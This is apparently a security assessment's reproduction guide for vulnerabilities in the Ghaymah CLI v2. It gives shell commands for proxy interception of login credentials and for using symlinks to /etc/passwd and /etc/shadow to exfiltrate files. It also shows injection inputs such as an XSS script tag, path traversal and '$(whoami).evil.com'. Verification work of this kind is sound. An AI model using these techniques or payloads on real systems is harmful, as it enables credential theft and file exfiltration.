14 KiB
🧪 Vulnerability Verification Guide — Ghaymah CLI v2
Step-by-step manual reproduction guide for every vulnerability discovered.
Each section is self-contained — copy-paste the commands directly into your terminal.
⚙️ Prerequisites
# Make sure you're in the project directory inside WSL
cd /root/ghaymah-v2-test
# Verify the binary works
./gy-linux-amd64 version
# Expected: {"version": "0.0.24"}
# Login (required for some tests)
./gy-linux-amd64 login
🔴 NEW-VULN-05: HTTP Proxy Credential Interception (CRITICAL)
What's the bug?
The CLI blindly follows HTTP_PROXY / HTTPS_PROXY environment variables, routing login credentials and tokens through any proxy — including a malicious one.
Step-by-step reproduction:
Step 1: Start a simple logging proxy (or just set a fake one to see the behavior):
# Set a fake evil proxy and try to login
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 login --email test@example.com --password SuperSecret123
Step 2: Observe the output:
# You should see:
# "proxyconnect tcp: dial tcp 127.0.0.1:9999: connection refused"
#
# This PROVES the CLI attempted to send the login request
# (containing email + password in plaintext JSON body)
# through the proxy instead of directly to auth.ghaymah.systems
Step 3: Verify token refresh also goes through proxy:
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 whoami
# Expected output includes:
# "token refresh failed" ... "proxyconnect tcp: dial tcp 127.0.0.1:9999"
# → The refresh token was also sent to the proxy
Step 4 (Advanced): To capture actual credentials, run a real intercepting proxy:
# Install mitmproxy (on another machine or separate terminal)
pip install mitmproxy
mitmproxy --listen-port 9999
# Then in another terminal:
HTTP_PROXY=http://127.0.0.1:9999 \
HTTPS_PROXY=http://127.0.0.1:9999 \
./gy-linux-amd64 login --email victim@company.com --password RealPassword
# → mitmproxy will show the full POST body with email + password
Evidence (Mitmproxy Interception):
✅ What to look for:
- CLI sends auth requests through the proxy
- Email and password visible in proxy logs
- Refresh token visible in proxy logs
🔴 NEW-VULN-08: Symlink Following in Deploy (CRITICAL)
What's the bug?
The CLI follows symlinks when reading files for deployment. An attacker can trick it into uploading system files (like /etc/passwd) to the Ghaymah build server.
Step-by-step reproduction:
Step 1: Create a test directory with a symlinked Dockerfile:
mkdir -p /tmp/symlink-test
ln -sf /etc/passwd /tmp/symlink-test/Dockerfile
Step 2: Try to deploy it:
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
Step 3: Observe the output:
# Expected:
# ℹ️ Detected: Existing Dockerfile
#
# The CLI says "Existing Dockerfile" — it READ /etc/passwd through the symlink
# and treated it as a valid Dockerfile. If you were authenticated,
# this file would be uploaded to the Ghaymah build infrastructure.
Step 4: Test with .env symlink:
ln -sf /etc/shadow /tmp/symlink-test/.env
echo '{"app":"test","port":8080}' > /tmp/symlink-test/.gy.json
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
Step 5: Test with directory symlink (recursive exfiltration):
ln -sf /root /tmp/symlink-test/subdir
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
Step 6: Cleanup:
rm -rf /tmp/symlink-test
✅ What to look for:
- CLI says "Detected: Existing Dockerfile" for symlinked files
- No warning about symlinks
- If authenticated, the file content would be sent to the server
🟠 NEW-VULN-03: Plaintext Token Storage (HIGH)
What's the bug?
Authentication tokens are stored in plaintext JSON with no file permission enforcement.
Step-by-step reproduction:
Step 1: Login to create the token file:
./gy-linux-amd64 login
Step 2: Find and examine the token file:
# Check the default config path
cat ~/.config/ghaymah/cli/nhost/config.json
Step 3: Check file permissions:
ls -la ~/.config/ghaymah/cli/nhost/config.json
# Look at the permissions column: should be -rw------- (0600)
# If it's -rw-r--r-- (0644) or wider → VULNERABILITY CONFIRMED
Step 4: Verify the token is in plaintext:
cat ~/.config/ghaymah/cli/nhost/config.json | python3 -m json.tool 2>/dev/null || cat ~/.config/ghaymah/cli/nhost/config.json
# You should see fields like:
# "accessToken": "eyJhbGciOiJIUzI1NiIs..."
# "refreshToken": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# → All in PLAINTEXT, readable by any local process
Step 5: Prove another user could read it:
# Check if other users can read
stat -c '%a' ~/.config/ghaymah/cli/nhost/config.json
# Note: Live testing showed this correctly defaults to 600 (-rw-------),
# which mitigates reading by OTHER users, but the tokens remain plaintext.
✅ What to look for:
- Token file exists at
~/.config/ghaymah/cli/nhost/config.json - Tokens are in plaintext (not encrypted)
- Confirm file permissions (600 is safe from other users, 644 is vulnerable)
🟠 NEW-VULN-04: Debug Mode Information Leakage (HIGH)
What's the bug?
The --debug flag exposes internal UUIDs, component names, and full API request details.
Step-by-step reproduction:
Step 1: Run whoami with debug:
./gy-linux-amd64 whoami --debug
Step 2: Examine the output for sensitive data:
# Look for lines like:
# level=DEBUG msg="retrieved stored token" user_id=6c8a1ce5-4ac3-47ad-8838-64e2a986acf3
# level=DEBUG msg="credentials callback set" component=nhost-client
# level=ERROR msg="token refresh failed" ... "https://auth.ghaymah.systems/token"
#
# SENSITIVE DATA LEAKED:
# 1. user_id UUID
# 2. Internal component names (nhost-client, token-manager, auth-client)
# 3. Full backend endpoint URLs
Step 3: Test with deploy:
./gy-linux-amd64 deploy --debug --name test-leak 2>&1 | head -n 20
# Check if token values or API keys appear in debug output
Step 4: Check if debug output could end up in CI logs:
# In a CI/CD pipeline, someone might set --debug for troubleshooting:
./gy-linux-amd64 deploy --debug 2>&1 | grep -iE '(token|user_id|secret|key|password)'
# Any matches = information leakage risk in CI logs
✅ What to look for:
- User UUID visible in debug output
- Internal component architecture exposed
- Backend URLs with full paths visible
- Any token values in the output
🟠 NEW-VULN-06: Auto-Update Without Signature Verification (HIGH)
What's the bug?
The CLI downloads updates from cli.ghaymah.systems without verifying digital signatures.
Step-by-step reproduction:
Step 1: Check current version and trigger update check:
./gy-linux-amd64 version
Step 2: Extract the update URLs from the binary:
strings ./gy-linux-amd64 | grep -E 'cli\.ghaymah\.systems'
# Expected:
# https://cli.ghaymah.systems/install.sh
# https://cli.ghaymah.systems/version
Step 3: Verify no signature checking exists:
strings ./gy-linux-amd64 | grep -iE '(gpg|pgp|minisign|signature|verify.*hash|checksum|sha256sum)'
# Expected: NO matches related to update verification
# Only standard TLS/crypto library strings should appear
Step 4: Check what happens during auto-update:
strings ./gy-linux-amd64 | grep -iE '(install\.sh|download.*binary|update.*complet|auto.update)'
# Look for:
# "failed to download binary from %s: HTTP %d"
# "Update complete! Restarting..."
# → Confirms the binary downloads and replaces itself
Step 5 (Advanced): Combine with proxy attack:
# If an attacker controls the proxy (NEW-VULN-05), they can:
# 1. Intercept the version check
# 2. Return a fake "newer version" response
# 3. Serve a malicious binary
# 4. The CLI auto-replaces itself → Full RCE
#
# To test, set up mitmproxy and modify responses from cli.ghaymah.systems
✅ What to look for:
- Update URLs hardcoded in binary (no pinning)
- No GPG/minisign signature verification
- Binary downloads and auto-replaces itself
- Combined with proxy MITM = Remote Code Execution
🟡 NEW-VULN-01: No Client-Side Port Validation (MEDIUM)
What's the bug?
The CLI accepts invalid port numbers (negative, zero, >65535) and sends them to the server.
Step-by-step reproduction:
# Test 1: Port way above maximum
./gy-linux-amd64 deploy --port 99999999 --no-auto-update
# Look for: "Using configured port: 99999999" ← ACCEPTED!
# Test 2: Negative port
./gy-linux-amd64 deploy --port -1 --no-auto-update
# Look for: "Auto-detected port: -1" ← ACCEPTED!
# Test 3: Above TCP max
./gy-linux-amd64 deploy --port 65536 --no-auto-update
# Look for: "Using configured port: 65536" ← ACCEPTED!
# Test 4: Zero port
./gy-linux-amd64 deploy --port 0 --no-auto-update
# This one defaults to 8080, so port 0 is silently ignored
# Test 5: INT32_MAX
./gy-linux-amd64 deploy --port 2147483647 --no-auto-update
# Look for: "Using configured port: 2147483647" ← ACCEPTED!
✅ What to look for:
- Ports > 65535 accepted without error
- Negative ports accepted
- No client-side validation message
🟡 NEW-VULN-02: No Name/Domain Input Sanitization (MEDIUM)
What's the bug?
The CLI sends unsanitized app names and domains to the API, which may lead to Stored XSS on the web dashboard or log injection.
Step-by-step reproduction:
# Test 1: XSS payload in app name
./gy-linux-amd64 deploy --name '"><script>alert(1)</script>' --no-auto-update
# ACCEPTED — sent to server as-is
# Test 2: Path traversal in app name
./gy-linux-amd64 deploy --name '../../../etc/passwd' --no-auto-update
# ACCEPTED — no validation
# Test 3: Go template injection
./gy-linux-amd64 deploy --name '{{.Env.HOME}}' --no-auto-update
# ACCEPTED — no validation
# Test 4: Shell metacharacters in domain
./gy-linux-amd64 deploy --domain '$(whoami).evil.com' --no-auto-update
# ACCEPTED — no validation
# Test 5: 5000-character name
python3 -c "print('A'*5000)" | xargs -I{} ./gy-linux-amd64 deploy --name {} --no-auto-update
# ACCEPTED — no length limit
# Compare with tunnel (which DOES validate):
./gy-linux-amd64 tunnel start "evil;id" --port 3000 --no-auto-update
# REJECTED: "tunnel name must contain only letters, numbers, and hyphens"
# → Tunnel validates but deploy does NOT
✅ What to look for:
- XSS payloads accepted in
--name - Path traversal accepted in
--name - Shell metacharacters accepted in
--domain - Tunnel command properly validates (inconsistency)
🟡 NEW-VULN-07: GenAI API Key Exposure (MEDIUM)
What's the bug?
The CLI sends the GenAI API key and project source code to an external endpoint, potentially through a proxy.
Step-by-step reproduction:
Step 1: Check GenAI endpoint:
strings ./gy-linux-amd64 | grep genai
# Expected: https://genai.ghaymah.systems
Step 2: Test with a key:
./gy-linux-amd64 deploy --ai-key "sk-secret-key-12345" --no-auto-update --debug 2>&1
# Check if the key appears in debug output
Step 3: Test via environment variable:
GY_AI_KEY="sk-secret-key-12345" ./gy-linux-amd64 deploy --debug --no-auto-update 2>&1
# Check if the key is logged or sent over the wire
Step 4: Combined with proxy:
HTTP_PROXY=http://127.0.0.1:9999 \
GY_AI_KEY="sk-secret-key-12345" \
./gy-linux-amd64 deploy --no-auto-update 2>&1
# If proxy is running, the API key AND source code would be interceptable
✅ What to look for:
- GenAI endpoint exists in binary
- API key sent alongside project source code
- Key vulnerable to proxy interception (same as VULN-05)
📋 Verification Checklist
Use this checklist to track your progress:
CRITICAL:
[x] NEW-VULN-05: Proxy credential interception confirmed (Evidence attached)
[x] NEW-VULN-08: Symlink following in deploy confirmed (Smoke test pass)
HIGH:
[x] NEW-VULN-03: Plaintext token storage confirmed (Mitigated by 0600 permissions)
[x] NEW-VULN-04: Debug mode info leakage confirmed (Smoke test pass)
[ ] NEW-VULN-06: Auto-update without signature confirmed
MEDIUM:
[x] NEW-VULN-01: Invalid port accepted confirmed (Smoke test pass)
[x] NEW-VULN-02: Unsanitized name/domain confirmed (Smoke test pass)
[ ] NEW-VULN-07: GenAI API key exposure confirmed
🔧 Quick One-Liner Smoke Test
Run this single command to quickly verify the most important findings:
cd /root/ghaymah-v2-test && \
echo "=== VULN-01: Port ===" && ./gy-linux-amd64 deploy --port 99999 --no-auto-update 2>&1 | head -2 && \
echo "=== VULN-05: Proxy ===" && HTTP_PROXY=http://evil:9999 ./gy-linux-amd64 whoami 2>&1 | head -2 && \
echo "=== VULN-08: Symlink ===" && mkdir -p /tmp/st && ln -sf /etc/passwd /tmp/st/Dockerfile && ./gy-linux-amd64 deploy /tmp/st --no-auto-update 2>&1 | head -2 && rm -rf /tmp/st && \
echo "=== VULN-04: Debug ===" && ./gy-linux-amd64 whoami --debug 2>&1 | grep -o 'user_id=[^ ]*' && \
echo "=== VULN-02: Name ===" && ./gy-linux-amd64 deploy --name '"><script>alert(1)</script>' --no-auto-update 2>&1 | head -2 && \
echo "=== DONE ==="
Guide created for the Ghaymah CLI v2 adversarial security assessment.

